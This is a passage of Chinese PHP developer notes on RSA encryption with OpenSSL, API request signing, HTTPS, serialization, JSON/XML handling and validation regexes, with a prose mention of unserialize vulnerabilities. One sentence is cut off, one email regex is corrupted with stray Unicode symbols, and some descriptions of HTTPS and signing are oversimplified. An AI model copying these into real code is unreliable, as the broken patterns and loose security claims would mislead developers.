// G8Hsub70kRANKJe1bCXIBUggRFk0sQGllxA/hxiG5wANqHTrdpJgJba+ahSi2+4H
// UWnyCV1O3AaPyz6a12HNUsG4Eio/tWv/hOB9POt6nAqwPHuIbhp56i5bv1ijMJZM
// jwRen5f/kwdZ01Ig2fi0uBoTR2y/EEaus7xBYpF/gGzZ/uM7cNUXcDyG5YluM/4R
// MEv4msPMVGB72izItED+C6Cqftxl98iBFRDc+PISFbRSgOU/HsuBhKkM5SYzyi3I
// Ypaej25++qLPqcA+EDr3JNDhNZ0GOhofCRtPq4dsr7iLLLRnZ0TnhIYe9wAbmO49
// uthABNBkM54bG+omOfY4Bkn5n39CKpELbhIiXgOd+lA684XUS/2Aw3Dvelc9Gbag
// oIFvb/wljPYsd0Zmd64CXBpTWbfwXC8K4vCKvFLjytcz2Yp4T6fVjbLT5RA6u8su
// E0WwE4QTFNKhnM5OvfiMN+NMc3Y/esVfcin3eyvotdz4N6Tt45dkybkf6aQE3Scg
// E/JBLIEEA+gjGTveY4cNUiECAwEAAQ==
// -----END PUBLIC KEY-----
// "
// ["rsa"]=>
// ……
$publicKey = $publicKey['key'];
公钥和私钥的内容和申请的HTTPS证书中的公私钥内容长得一样,而且也和系统中使用openssl命令行生成的本机的密钥证书一样。它们本身就是一样的东西啦,只是在不同的场景应用的不同而已。HTTPS证书除了非对称加密的密钥之外,还包含有CA信息,如果CA不通过浏览器也会认为证书是无效的,因此使用自己生成的证书来充当HTTPS证书是不可以的。而本身生成的一般会用在SSH免密登录上,或者是GitHub的免密代码仓库操作上。
3、加密解密数据
公钥和私钥都生成完成了,那么就要进行最重要的加密和解密操作了,使用最标准的公钥加密,私钥解密来进行的测试。其实反过来也是可以的,OpenSSL分别提供了公钥的加解密和私钥的加解密函数
$data = '测试非对称加密';
openssl_public_encrypt($data, $encrypted, $publicKey); // 公钥加密数据
var_dump($encrypted); // string(512) "��E�.........."
openssl_private_decrypt($encrypted, $decrypted, $privateKey); // // 私钥解密数据
var_dump($decrypted); // string(21) "测试非对称加密"
在这里,我们。
对方获得我们的公钥,然后加密数据传输过来,我们通过自己的私钥解密数据获得原文。而我方也可以获得对方的公钥,并将返回的数据加密后传输给对方,然后对方使用自己的私钥进行解密获得我们传递给它的原文数据。
而HTTPS是通过CA颁发的证书来获取公钥的,浏览器通过公钥加密请求数据传输给服务器,服务器也是通过相同的原理来向浏览器客户端发送密文数据。因此,在数据传输过程中使用HTTPS的传输会更加地安全,即使被截获了,对方也没有证书提供的密钥来进行解密。这就是现在所有App和小程序应用都要求使用HTTPS的原因,当然如果做网站开发也最好使用HTTPS ,就连百度对HTTPS的收录也有相应的调整。
4、签名及验证
当两端进行通信时,怎么知道当前传输过来的数据一定是对端发送过来的的呢,中间有没有黑客进行了篡改呢?这个就可以通过签名机制来进行验证。
通过openssl_sign()生成一个对原始数据的私钥签名,然后就可以使用openssl_verify()通过公钥验证数据签名是否一致
5、证书的生成、证书操作 生成CSR证书签名请求 CSR是用于生成证书的签名请求,在CSR中需要一些dn信息,其实也就是当前这个证书的服务对象,包含公司名、邮箱之类的内容。
证书签名及生成 x509 证书 x509 是标准的公钥证书规范,并且只包含公钥信息。
pkcs证书操作 最后,我们来看一下 pkcs 签名证书。pkcs 分为 pkcs7 和 pkcs12 两种,pkcs7 一般用于数字信封加密,可以往里面添加 x509 ,会生成 PEM 和 DER 两种编码方式,一般我们会使用 PEM ,它其实包含的就是公钥信息。 pkcs12 一般导出的就是 PFX 文件,pkcs12 还需要另外添加一个证书密码,所以 pkcs12 是可以包含私钥的。它一般用于消息交换与打包语法。>
【 JS-RSA 】 JSEncrypt : 用于执行OpenSSL RSA加密、解密和密钥生成的Js库 Git源: https://github.com/travist/jsencrypt 应用场景: 在做WEB的登录功能时一般是通过Form提交或Ajax方式提交到服务器进行验证的。 为了防止抓包,登录密码肯定要先进行一次加密(RSA),再提交到服务器进行验证。 一些大公司都在使用,比如淘宝、京东、新浪等 【 密钥安全管理 】 这些加密技术能够达到安全加密效果的前提是密钥的保密性,实际工作中不同环境的密钥都应该不同(开发环境、预发布环境、正式环境),如何安全保存密钥呢? 1、环境变量: 将密钥设置到环境变量中,每次从环境变量中加载。 2、配置中心: 将密钥存放到配置中心,统一进行管理。 3、密钥过期策略: 设置密钥有效期,比如一个月进行重置一次。 【 接口调试工具 】 Postman 一款功能强大的网页调试与发送网页HTTP请求的Chrome插件 SocketLog, https://github.com/luofei614/SocketLog 解决的痛点: 正在运行的API有Bug,不能在文件中使用var_dump进行调试,因为会影响到client的调用。将日志写到文件中,查看也不是很方便。 在二次开发一个新系统的时候,想查看执行了哪些Sql语句及程序的warning,notice等错误信息。 SocketLog可以解决以上问题,它通过WebSocket将调试日志输出到浏览器的console中。 使用方法 安装、配置Chrome插件 SocketLog服务端安装 PHP中用SocketLog调试 配置日志类型和相关参数 【 在线接口文档 】 接口开发完毕,需要给请求方提供接口文档,文档的编写现在大部分都使用Markdown格式。 也有一些开源的系统,可以下载并安装到自己的服务器上。 也有一些在线的系统,可以在线使用同时也支持离线导出。 常用的接口文档平台: eolinker,业内领先的API全生命周期管理解决方案,API 快速生成 | API 研发管理 | API 自动化测试 | API 微服务网关 | API 监控 | API 开放共享 Apizza Yapi RAP2 DOClever 【 HTTP与RPC的区别 】 在HTTP和RPC的选择上可能会有一些疑问,RPC框架配置比较复杂,明明用HTTP能实现为什么要选择RPC? 传输协议: HTTP基于HTTP协议。 RPC即可以HTTP协议,也可以TCP协议。 HTTP也是RPC实现的一种方式。 性能消耗: HTTP大部分基于JSON实现的,序列化需要时间和性能。推荐一个像JSON,但比JSON传输更快占用更少的新型序列化类库MessagePack RPC可以基于二进制进行传输,消耗性能少一点。 还有一些服务治理、负载均衡配置的区别。 使用场景: 比如浏览器接口、APP接口、第三方接口,推荐使用HTTP 比如集团内部的服务调用,推荐使用RPC。 RPC比HTTP性能消耗低,传输效率高,服务治理也方便。 推荐使用的RPC框架: Thrift 【 动态令牌 】 OTP: One-Time Password 一次性密码。 HOTP: HMAC-based One-Time Password 基于HMAC算法加密的一次性密码。 TOTP: Time-based One-Time Password 基于时间戳算法的一次性密码。 使用场景: 公司VPN登录双因素验证 服务器登录动态密码验证 网银、网络游戏的实体动态口令牌 银行转账动态密码 【 API接口访问安全 】 对于API服务器,不能让访问者使用Session ID进行访问,这样既不安全也不友好。由HTTP进行通信的数据大多是未经加密的明文,包括请求参数、返回值、Cookie、Header等数据,因此外界通过对通信的监听,便可轻而易举根据请求和响应双方的格式,伪造请求与响应,修改和窃取各种信息。 在客户端请求api接口过程中,服务器并不知道,请求的来源是什么,有可能是别人非法调用接口获取数据,因此就要使用安全验证。 所有的认证信息一定要经过加密处理,禁止身份认证信息进行明文传输,避免被攻击者窃取。 1、摘要认证 应用程序首先需要给使用API的用户分配KEY和SECRET。可以使用MD5或SHA算法生成摘要,然后按照表1所列的流程进行摘要加密和认证 客户端 1、将参数按要求进行排序 2、将参数串接起来后加上secret生成待摘要字符串的原始内容 3、使用md5或sha等摘要算法生成客户端摘要串signature 4、将key、signature放入header中与相应参数一并传给服务器 服务端 1、将参数要要求进行排序,必须与客户端的顺序一致 2、将参数串接起来加上secret(通过客户端提交过的key在数据库获取相应的secret),生成待摘要字符串的原始内容 3、通过md5或sha等摘要算法生成服务端摘要串signature 4、对比服务端生成的摘要串和客户端传递过来的摘要串 5、添加时间戳防止接口重放 由于HTTP都是明文请求,虽然可以通过摘要进行一定的安全保证确保信息不被篡改,但无法保证每次请求的唯一性,也就是如果请求数据被别人获取再次请求,此时也可能带来很严重的安全性问题。于是便需要用户在每次请求中设置一个递增的参数Nonce来确保每次请求都是唯一的。不过这样也可能带来一个问题,如果用户近乎同时发起A和B两个请求,由于网络阻塞,可能后发起的B先到达服务器,这样当A达到时服务器会认为A的Nonce已过期而拒绝。为了解决这样的问题,允许用户设置一个expire值来避免Nonce认证带来的问题。 2、白名单黑名单 3、OAuth认证 开放授权(Open Authorization,OAuth)是一个开放标准,为用户资源的授权提供了一个安全、开放而又简易的标准。不用将用户名和密码提供给第三方应用,就可以允许用户让第三方应用访问该用户在某一网站上存储的用户资源 【 url 拦截规则,验证 】 用户登陆验证成功后生成token,缓存(username->token)并返回给客户端 客户端每个接口请求(除登陆接口)时,传必要的参数timestamp,token,username,sign,没传直接返回报错 timestamp作用:是否在有效期内,有效期可根据需求设定10,20分钟,如过期时间设置为10分,服务接受到请求的时间戳是30,传来的timestamp时间戳是10,30-10>10说明这个请求过期 token作用:直接与redis中的username键值对比,如果不相等则过期,或如果redis缓存时间过期了也过期 sign作用:根据规则传过来的参数生成sign,与传过来的sign对比,如果不相等报错 Http接口安全概述: 1.1、Http接口是互联网各系统之间对接的重要方式之一,使用http接口,开发和调用都很方便,也是被大量采用的方式,它可以让不同系统之间实现数据的交换和共享,但由于http接口开放在互联网上,那么就需要有一定的安全措施来保证不能是随随便便就可以调用; 1.2、目前国内互联网公司主要采用两种做法实现接口的安全: 一种是以支付宝等支付公司为代表的私钥公钥签名验证机制; 一种是大量互联网企业都常采用的参数签名验证机制; Http接口安全演进: 2.1.完全开放的接口(完全开放) 2.2.接口参数签名(基本安全) 2.3.接口参数签名+时效性验证(更加安全) 2.4.接口参数私钥签名公钥验签(固若金汤) 2.5.接口参数签名+Https(金钟罩) 2.6.接口参数私钥签名公钥验签+Https(金钟罩) 总之:安全是相对的,只有相对的安全,没有绝对的安全! 原理 前台想要调用接口,需要使用几个参数生成签名。 时间戳:当前时间 随机数:随机生成的随机数 口令:前后台开发时,一个双方都知道的标识,相当于暗号 算法规则:商定好的运算规则,上面三个参数可以利用算法规则生成一个签名。 前台生成一个签名,当需要访问接口时把时间戳,随机数,签名通过URL传递到后台。后台拿到时间戳随机数后通过一样的算法规则计算出签名,然后和传递过来的签名进行对比,一样则返回数据。 算法规则 在前后台交互中算法规则是非常重要的,前后台都要通过算法规则计算出签名,至于规则怎么制定怎么高兴怎么来,常见算法规则是时间戳,随机数,口令按照首字母大小写顺序排序,然后拼接成字符串,进行sha1加密,再进行MD5加密,转换成大写
原理 需要生成签名的参数: 1、did:设备号,即app每个设备的唯一标识 2、version:版本信息,如v1.0 3、time:时间戳,这里采用的是10位的时间戳 通过以上的字段,通过一定的算法生成sign,然后请求api时带上sign及以上参数,然后服务器根据接收到的参数使用同样的方法生成sign与接收的sign进行比对,如果一致则通过。 算法 获取当前时间戳,为了保持app与服务器端时间一致,写了个时间获取的函数。 1、使用did,version,time组装成数组 2、键按照字典顺序排序 3、生成did=aaaa&time=123121&version=v1.0 4、进行加密API接口数据加密解密授权数据加密解密
【 保证接口安全性的几种方式 】 前后端安全性的交互,大致可以分成如下几类: 1、通信请求使用https 2、对请求参数进行签名,防止数据被踹改 3、对请求参数以及响应进行加密解密处理 4、APP中使用ssl pinning防止抓包操作 使用https Chrome已将所有的HTTP网站标记为"不安全",且已经有越来越多的第三方服务开始推荐甚至强制要求使用HTTPS连接方式,比如现在用得特别多的微信登录、微信支付、短信验证码、地图API等等,又比如苹果希望官方应用商店中的所有iOS App都使用安全的HTTPS链接与服务器进行通信。 那为什么越来越多的HTTP都在逐渐HTTPS化?HTTP协议(超文本传输协议)是客户端浏览器或其他程序与Web服务器之间的应用层通信协议;HTTPS协议可以理解为HTTP+SSL/TLS,即HTTP下加入SSL层,HTTPS的安全基础是SSL,因此加密的详细内容就需要SSL,用于安全的HTTP数据传输 不使用SSL/TLS的HTTP通信,就是不加密的通信。所有信息明文传播,带来了三大风险。 窃听风险(eavesdropping):第三方可以获知通信内容。 篡改风险(tampering):第三方可以修改通信内容。 冒充风险(pretending):第三方可以冒充他人身份参与通信。 SSL/TLS协议是为了解决这三大风险而设计的,希望达到: 所有信息都是加密传播,第三方无法窃听。 具有校验机制,一旦被篡改,通信双方会立刻发现。 配备身份证书,防止身份被冒充。 对请求进行签名 假设用户在下完单之后可以更改订单的状态,用户对后端发起请求/user?orderId=123,假设后端刚好也没有对这笔订单的身份进行验证,那么后果就是根据orderId,将这笔订单的状态进行了修改,将请求中的orderId换成另外一个orderId,也会同样对这笔订单做了修改,从安全角度来说这是不希望看到的,当然也可以加一下身份校验,判断该笔订单是否属于当前的用户,此外还应该对请求参数做一次签名处理。 加签和验签就是在请求发送方将请求参数通过加密算法生成一个sign值,放到请求参数里;请求接收方收到请求后,使用同样的方式对请求参数也进行加密得到一个sign值,只要两个sign值相同就说明参数没有被篡改。 签名参数sign生成的方法 将所有参数,除去sign本身及值是空的参数,按参数键字母升序排序。 然后把排序后的参数按参数1值1参数2值2......参数n值n(这里的参数和值必须是传输参数的原始值,不能是经过处理的,如不能将"转成"后再拼接)的方式拼接成一个字符串。 把分配给接入方的验证密钥key拼接在第2步得到的字符串前面。 上一步得到的字符串前面加上密钥key(接口提供方分配给接口接入方的),然后计算md5值,得到32位字符串,然后转成大写,得到的字符串作为sign的值放到请求参数里。 现在假设需要传输的数据:/guest/rechargeNotify?p2=v2&p1=v1&method=cancel&p3=&pn=vn(实际情况最好是通过post方式发送) 拼接字符串,首先去除值是空的参数p3,剩下p2=v2&p1=v1&method=cancel&pn=vn,然后按参数名字符升序排序得到字符串:method=cancel&p1=v1&p2=v2&pn=vn。 然后做参数名和值的拼接,最后得到methodcancelp1v1p2v2pnvn。 在上面拼接得到的字符串前面加上验证密钥key,假设是abc,得到新的字符串abcmethodcancelp1v1p2v2pnvn。 将上面得到的字符串进行md5计算,假设得到的是abcdef,然后转为大写,得到ABCDEF这个值即为sign签名值。最终产生的url应该如下:/guest/rechargeNotify?p2=v2&p1=v1&method=cancel&p3=&pn=vn&sign=ABCDEF 计算md5之前请确保请求发送方和接收方使用的字符串编码一致,比如统一使用utf-8编码,如果编码方式不一致则计算出来的签名会校验失败。 验签过程:其实就是将请求url按照上述的规则进行同样的操作,计算得到参数的签名值,然后和参数中传递的sign值进行对比,如果一致则校验通过,否则校验不通过。 对请求和响应进行加解密 可能有人会问,都使用了https了,为什么还要对请求和响应再做一次加解密,因为有些第三方抓包工具如Charles 通过某些手段是可以抓取https的明文的,因此对一些敏感数据,需要进行加密处理,常见的加解密方式有AES对称加密方式和RSA非对称方式 1.服务器端有一个密钥对,即公钥和私钥,是用来进行非对称加密使用的,服务器端保存着私钥,不能将其泄露,公钥可以发送给任何人。 2.服务器将自己的公钥发送给客户端。 3.客户端收到服务器端的公钥之后,会对公钥进行检查,验证其合法性,如果发现发现公钥有问题,那么HTTPS传输就无法继续。严格的说,这里应该是验证服务器发送的数字证书的合法性,如果公钥合格,那么客户端会生成一个随机值,这个随机值就是用于进行对称加密的密钥,将该密钥称之为client key即客户端密钥,这样在概念上和服务器端的密钥容易进行区分。然后用服务器的公钥对客户端密钥进行非对称加密,这样客户端密钥就变成密文了,至此,HTTPS中的第一次HTTP请求结束。 4.客户端会发起HTTPS中的第二个HTTP请求,将加密之后的客户端密钥发送给服务器。 5.服务器接收到客户端发来的密文之后,会用自己的私钥对其进行非对称解密,解密之后的明文就是客户端密钥,然后用客户端密钥对数据进行对称加密,这样数据就变成了密文。 6.然后服务器将加密后的密文发送给客户端。 7.客户端收到服务器发送来的密文,用客户端密钥对其进行对称解密,得到服务器发送的数据。 总结 前后端的交互如果做到以上使用https,对请求加解密以及对请求参数进行验签,基本上能解决大部分问题,但除此之外还应该做到对每个接口进行身份校验,确保该接口只能由特定的用户访问,或者该笔数据只能由特定的用户去进行修改。
serialize()序列化(串行化)与unserialize()反序列化(反串行化)
序列化是将变量转换为可保存或传输的字符串的过程; 反序列化就是在适当的时候把这个字符串再转化成原来的变量使用 对象或数组序列化存储,反序列化输出,两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性 一般当需要将数据保存到文件中时会用到序列化,保存到数据库中一般不这样用,因为序列化和反序列化的过程其实很耗时 serialize()序列化 将变量所代表的内存数据转换为字符串的形式,并持久保存在硬盘文件上,即把内存数据转换为字符串然后保存到文件中; unserialize()反序列化 将序列化之后保存在硬盘文件上的字符串数据恢复为其原来的内存形式的变量数据的,即把文件中保存的序列化后的字符串数据恢复为内存数据; 对象的序列化 1.对一个对象进行序列化,只能将其属性数据保存起来,而方法被忽略(方法不是数据),但类名也能被保存起来,因此反序列化的位置只要有该类文件就仍然可以将对象还原,即该对象的属性和方法依然可以使用; 2.对象序列化的时候会自动调用该对象所属类的__sleep()魔术方法; 对象的反序列化 1.对一个对象进行反序列化,其实是恢复原来保存起来的属性数据,而且此时必须需要依赖该对象原来的所属类; 2.对象反序列化的时候会自动调用该对象所属类的__wakeup()魔术方法; 【 serialize 和 unserialize漏洞 】 php类中的魔术方法,__sleep 方法会在一个对象被序列化的时候调用,__wakeup方法会在一个对象被反序列化的时候调用。 unserialize()函数漏洞的根源在于unserialize()函数的参数可控。如果反序列化对象中存在魔术方法,而且魔术方法中的代码有能够被我们控制,漏洞就这样产生了,根据不同的代码可以导致各种攻击,如代码注入、SQL注入、目录遍历等 【 serialize() 】 string serialize ( mixed $value ) 返回的字符串包含了表示value的字节流,可存储于任何地方,这有利于存储传递PHP的值,同时不丢失其类型和结构。 serialize()可处理除了resource之外的任何类型,甚至是那些包含了指向其自身引用的数组,数组/对象中的引用也将被存储。 想要将已序列化的字符串变回PHP的值,可使用unserialize()。 当序列化对象时PHP将试图在序列动作之前调用该对象的成员函数__sleep(),这样就允许对象在被序列化之前做任何清除操作。类似的当使用unserialize()恢复对象时将调用__wakeup()成员函数 【 unserialize() 】 mixed unserialize ( string $str ) 对单一的已序列化的变量进行操作,将其转换回PHP的值。 返回转换之后的值可为integer、float、string、array或object,如果传递的字符串不可解序列化则返回FALSE并产生一个E_NOTICE对基本数据进行序列化和反序列化对象的序列化和反序列化
文本压缩
gzcompress()和gzuncompress()对容量大的字符串进行压缩和解压,再存入和取出数据库,这种内置的函数使用gzip算法,能压缩字符串90%,800k的数据压缩成100k多,strlen变小
gzcompress ( string $data [, int $level = -1 [, int $encoding = ZLIB_ENCODING_DEFLATE ]] ) : string|false
//入库
$src_data1 = file_get_contents('bb.txt');
//先json,再压缩。如果顺序相反,json的结果是空。
$desc_data1 = json_encode($src_data1,JSON_UNESCAPED_UNICODE);
$desc_data2 = gzcompress($desc_data1);
//上面两步如果简写成gzcompress(json_encode(数组));得到的会是一顿乱码,所以gzcompress()的参数只能是一个变量
$desc_data3 = base64_encode($desc_data2);//为了入库需要base64
file_put_contents('aa.txt', $desc_data3);//入库。这里存储文件代替
//出库
$src_data11 = file_get_contents('aa.txt');
$desc_data11 = base64_decode($src_data11);
$desc_data12 = gzuncompress($desc_data11);//解压缩
$desc_data13 = json_decode($desc_data12,true);
file_put_contents('cc.txt',$desc_data13);
//对比一下aa.txt与cc.txt的内容。应该是相同的
PHP编码和解码JSON对象
json比serialize快,格式可读,返回数据更小,开放可移植
【 json_encode() 】
string json_encode ($value [,$options = 0 ])
对变量进行json编码,返回一个除resource类型外的值的json字符串格式的对象,只能用于utf8编码的数据,使用gb2312编码则需要将包含中文的内容使用iconv或mb系列函数转化为utf-8后再json_encode
value:要编码的值
options:由以下常量组成的二进制掩码JSON_HEX_QUOT,JSON_HEX_TAG,JSON_HEX_AMP,JSON_HEX_APOS,JSON_NUMERIC_CHECK,JSON_PRETTY_PRINT,JSON_UNESCAPED_SLASHES,JSON_FORCE_OBJECT(将数组转换成对象)
成功则返回JSON编码的string,失败时返回FALSE
对于age的值是数字还是数字字符串,对json_encode之后的值是不一样的,通常情况下不会有什么影响,但如果拿json_encode之后的两个值作比较就会出现问题。
json_encode提供了第二个参数避免这种问题,JSON_NUMERIC_CHECK (int) 将所有数字字符串编码成数字(numbers)
echo json_encode(['age' => 1]); // {"age":1}
echo json_encode(['age' => "1"]); // {"age":"1"}
echo json_encode(['age' => 1], JSON_NUMERIC_CHECK); // {"age":1}
echo json_encode(['age' => "1"], JSON_NUMERIC_CHECK); // {"age":1}
json中文字符会转为unicode编码【 json_decode() 】 mixed json_decode ($json_string [,$assoc = false [,$depth = 512 [,$options = 0 ]]]) json解码,对json格式的字符串进行解码转换成PHP变量,返回数组或对象 Returns the value encoded in json in appropriate PHP type. Values true,false and null are returned as TRUE,FALSE and NULL respectively. NULL is returned if the json cannot be decoded or if the encoded data is deeper than the recursion limit 通过恰当的PHP类型返回在json中编码的数据。值true,false和null会相应地返回TRUE,FALSE和NULL。如果json无法被解码或编码数据深度超过了递归限制的话将会返回NULL json_string: 待解码的JSON字符串,必须是UTF-8编码数据 assoc: 当该参数为true时将返回数组,默认false返回对象 depth: 整数类型的参数,指定递归深度 options: 二进制掩码,目前只支持JSON_BIGINT_AS_STRING
【 htmlspecialchars_decode() 】 在做授权登录时保存返回的数据时使用json_encode函数保存数据,但是当使用json_decode函数解析时返回null echo json_last_error(); // 返回4表示语法错误 1、出现这个问题是因为在 json 字符串中反斜杠被转义,只需要用 htmlspecialchars_decode() 函数处理一下$content即可: $content = htmlspecialchars_decode($content); 2、在保存json数据时使用urlencode()函数: $content = urlencode(json_encode($content)); 解析时使用urldecode()函数: $content = urldecode($content); 即可避免反斜杠转义造成的无法解析。 去掉json字符串中的反斜杠\ 通过AJAX传到PHP的json字符串有时候加上反斜杠”\”来转义,PHP处理时需要先去掉反斜杠,然后再json_decode. $str = stripslashes($_POST['json']); $arr = json_decode($str,true); 【 html_entity_decode() 】 使用JSON.stringify()保存某些数据,然后需要在php中读取,但在PHP接到这个参数的数据时使用json_decode()却无法解析。 所以问题就是,为什么json_decode()解析JSON.stringify为什么为NULL。 解决方法: 使用JSON stringify时,先在json_decode前使用html_entity_decode。 $tempData = html_entity_decode($tempData); $cleanData = json_decode($tempData); html_entity_decode(string,flags,character-set) 函数把 HTML 实体转换为字符,是 htmlentities() 函数的反函数。 string 必需。规定要解码的字符串。 flags 可选。规定如何处理引号以及使用哪种文档类型 可用的引号类型: ENT_COMPAT(默认,仅解码双引号)、ENT_QUOTES(解码双引号和单引号)、ENT_NOQUOTES(不解码任何引号) 规定所使用文档类型的附加flags: ENT_HTML401(默认,作为HTML4.01处理代码)、ENT_HTML5(作为HTML5处理代码)、ENT_XML1(作为XML1处理代码)、ENT_XHTML(作为XHTML处理代码) character-set 可选,字符串值,规定要使用的字符集,允许值: UTF-8 - 默认,ASCII兼容多字节的8位Unicode ISO-8859-1 - 西欧 ISO-8859-15 - 西欧(加入欧元符号 + ISO-8859-1中丢失的法语和芬兰语字母) cp866 - DOS 专用 Cyrillic 字符集 cp1251 - Windows专用Cyrillic字符集 cp1252 - Windows专用西欧字符集 KOI8-R - 俄语 BIG5 - 繁体中文,主要在台湾使用 GB2312 - 简体中文,国家标准字符集 BIG5-HKSCS - 带香港扩展的Big5 Shift_JIS - 日语 EUC-JP - 日语 MacRoman - Mac操作系统使用的字符集 注释:在PHP5.4之前的版本,无法被识别的字符集将被忽略并由ISO-8859-1替代。自PHP5.4起无法被识别的字符集将被忽略并由UTF-8替代 【 json_last_error() 】 返回数据编解码过程中发生的错误,返回一个整型(integer),这个值会是以下的常量之一: JSON_ERROR_NONE 没有错误发生 JSON_ERROR_DEPTH 到达了最大堆栈深度 JSON_ERROR_STATE_MISMATCH 无效或异常的JSON JSON_ERROR_CTRL_CHAR 控制字符错误,可能是编码不对 JSON_ERROR_SYNTAX 语法错误 JSON_ERROR_UTF8 异常的UTF-8字符,也许是因为不正确的编码。 PHP 5.3.3 JSON_ERROR_RECURSION 要编码的值中的一个或多个递归引用 PHP 5.5.0 JSON_ERROR_INF_OR_NAN 要编码的值中有一个或多个NAN或INF值 PHP 5.5.0 JSON_ERROR_UNSUPPORTED_TYPE 指定的类型,值无法编码。 PHP 5.5.0 JSON_ERROR_INVALID_PROPERTY_NAME 指定的属性名无法编码。 PHP 7.0.0 JSON_ERROR_UTF16 畸形的UTF-16字符,可能因为字符编码不正确。 PHP 7.0.0 【 json_last_error_msg() 】 json_last_error_msg ( void ) : string Returns the error string of the last json_encode() or json_decode() call Returns the error message on success, "No error" if no error has occurred, 或者在失败时返回FALSE【 json 数组 对象 】
关联数组和索引数组 由于js不支持关联数组,所以json_encode()只将索引数组(indexed array)转为数组格式,而将关联数组(associative array)转为对象格式。 将"索引数组"强制转化成"对象" json_encode( (object)$arr ); json_encode( $arr, JSON_FORCE_OBJECT );索引数组和关联数组json化PHP对象的json化,受保护和私有的属性不会被转换json api及错误处理json跨域的数据调用:当index.html调用profile.php,json字符串生成,并作为参数传入getProfile,然后将昵称插入到div中,这样一次跨域数据交互就完成了
xml字符串函数
php接口返回xml格式
header("Content-type: application/xml");
【 simplexml_load_file() 】
Interprets an XML file into an object
simplexml_load_file ( string $filename , string $class_name = "SimpleXMLElement" , int $options = 0 , string $ns = "" , bool $is_prefix = false ) : SimpleXMLElement|false
【 simplexml_load_string() 】 simplexml_load_string(string $data [, string $class_name = "SimpleXMLElement" [, int $options = 0 [, string $ns = "" [, bool $is_prefix = FALSE ]]]]) : SimpleXMLElement 将xml字符串转换成SimpleXMLElement Object,标签名为key,标签间内容为value
【 DOMDocument 】
$xml_tree = new DOMDocument();
$xml_tree->loadXML($encryptMsg);
$array_e = $xml_tree->getElementsByTagName('Encrypt');
$array_s = $xml_tree->getElementsByTagName('MsgSignature');
$encrypt = $array_e->item(0)->nodeValue;
$msg_sign = $array_s->item(0)->nodeValue;
$format = "< xml>< ToUserName>< /ToUserName>< Encrypt>< /Encrypt>< /xml>";
$from_xml = sprintf($format, $encrypt);
xml和数组转换
php正则
PHP正则比标准js的要强大,PHP有两套正则库,一是posix兼容库(php5.3之前版本可用),二是perl兼容库(主力库)
能用PHP内部字符串操作函数就尽量不要用正则表达式,因为字符串函数效率高于正则,正则最耗性能。
str_replace函数要比preg_replace快得多,strtr函数又比str_replace快
验证帐号用户名是否合法,字母开头,只能包含字母数字下划线和减号,5到16位
preg_match('/^[A-Za-z]{1}[A-Za-z0-9_-]{4,15}$/', $username)
验证密码强度,6-16位,至少有一个数字,一个大写字母,一个小写字母和一个特殊字符,四个任意组合
preg_match('/(?=^.{6,16}$)(?=.*\d)(?=.*[A-Z])(?=.*[a-z])(?=.*[!@#$%^&*]).*$/', $password)
验证邮箱
$pattern = '/\w+([−+.]\w+)∗@\w+([−.]\w+)∗\.\w+([−.]\w+)∗/';
验证邮箱是否合法,必须有@,前边最少2个字符,字母或数字开头,域名部分最少1位,后缀可以是一级也可以是二级,最少两位
preg_match('/^[a-z0-9]{1}[a-z0-9_-]{1,}@[a-z0-9]{1,}(\.[a-z]{2,})*\.[a-z]{2,}$/', $email)
^[\w-]+(\.[\w-]+)*@[\w-]+(\.[\w-]+)+$
^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$
^([w-.]+)@(([[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.)|(([w-]+.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(]?)$
$preg_email='/^[a-zA-Z0-9]+([-_.][a-zA-Z0-9]+)*@([a-zA-Z0-9]+[-.])+([a-z]{2,5})$/ims';
验证手机
$reg = "/^13[\d]{9}$|^14[5,7]{1}\d{8}$|^15[^4]{1}\d{8}$|^17[0,6,7,8]{1}\d{8}$|^18[\d]{9}$/";
preg_match('/^1[34578]\d{9}$/', $phone)
^((\(\d{2,3}\))|(\d{3}\-))?13\d{9}$ // 前置括号
电话号码(包括移动和固定电话): (\(\d{3,4}\)|\d{3,4}-|\s)?\d{7,14}
电话号码: ^((\(\d{2,3}\))|(\d{3}\-))?(\(0\d{2,3}\)|0\d{2,3}-)?[1-9]\d{6,7}(\-\d{1,4})?$
电话号码: /^((\+?[0-9]{2,4}\-[0-9]{3,4}\-)|([0-9]{3,4}\-))?([0-9]{7,8})(\-[0-9]+)?$/
国内电话号码: /^0\d{2}-?\d{8}$|^0\d{3}-?\d{7}$/, 匹配形式如 0511-4405222 或 021-87888822,中间连线可省略
支付宝
支付宝账号分为个人账号和企业账号
个人账号可以是邮箱和手机号
企业账号只能是邮箱
手机号正则表达式:/^1[3-9]\d{9}$/
邮箱正则表达式:/^[a-zA-Z\d._-]*\@[a-zA-Z\d.-]{1,10}\.[a-zA-Z\d]{1,20}$/
同时支持手机号和邮箱: preg_match('/^(?:1[3-9]\d{9}|[a-zA-Z\d._-]*\@[a-zA-Z\d.-]{1,10}\.[a-zA-Z\d]{1,20})$/', $zfb)
淘口令
preg_match('/[₳$¢₴€₤¥$《]\w{11}[₳$¢₴€₤¥$《]/', '¢BNiCcgdr9Az₴');
银行卡
$preg_bankcard='/^[1-9]\d{12,18}$/isu';
银行卡号一般是13位或者19位。由如下三部分构成。
前六位是:发行者标识代码 Issuer Identification Number (IIN)
中间的位数是:个人账号标识(从卡号第七位开始)
中间位数由发卡行自定义,一般由6-12位数字组成,最多可以使用12位数字。
最后一位位数是校验位
车牌验证规则
1、传统车牌
第1位为省份简称(汉字),第2位为发牌机关代号(A-Z的字母)第3-7位为序号(字母数字组成,不存在字母I和O,防止和数字1、0混淆,最后一位可能是"挂学警港澳使领"中的一个汉字)
2、新能源车牌,比传统车牌多一位
第1位和第2位与传统车牌一致,第3到第8位为序号
小型车:第1位只能是字母D或F,第2为可以是数字或字母,第3到6位必须是数字。
大型车:第1位到第5位必须是数字,第6位只能是字母D或F。
测试样例
正确的车牌:粤A123AB、粤A2222学、粤AF12345、粤A12345D。
错误的车牌:粤A123456、粤A2222i、粤AA12345、粤AD123456。
// PHP正则验证车牌,验证通过返回true,不通过返回false
function isLicensePlate($str) {
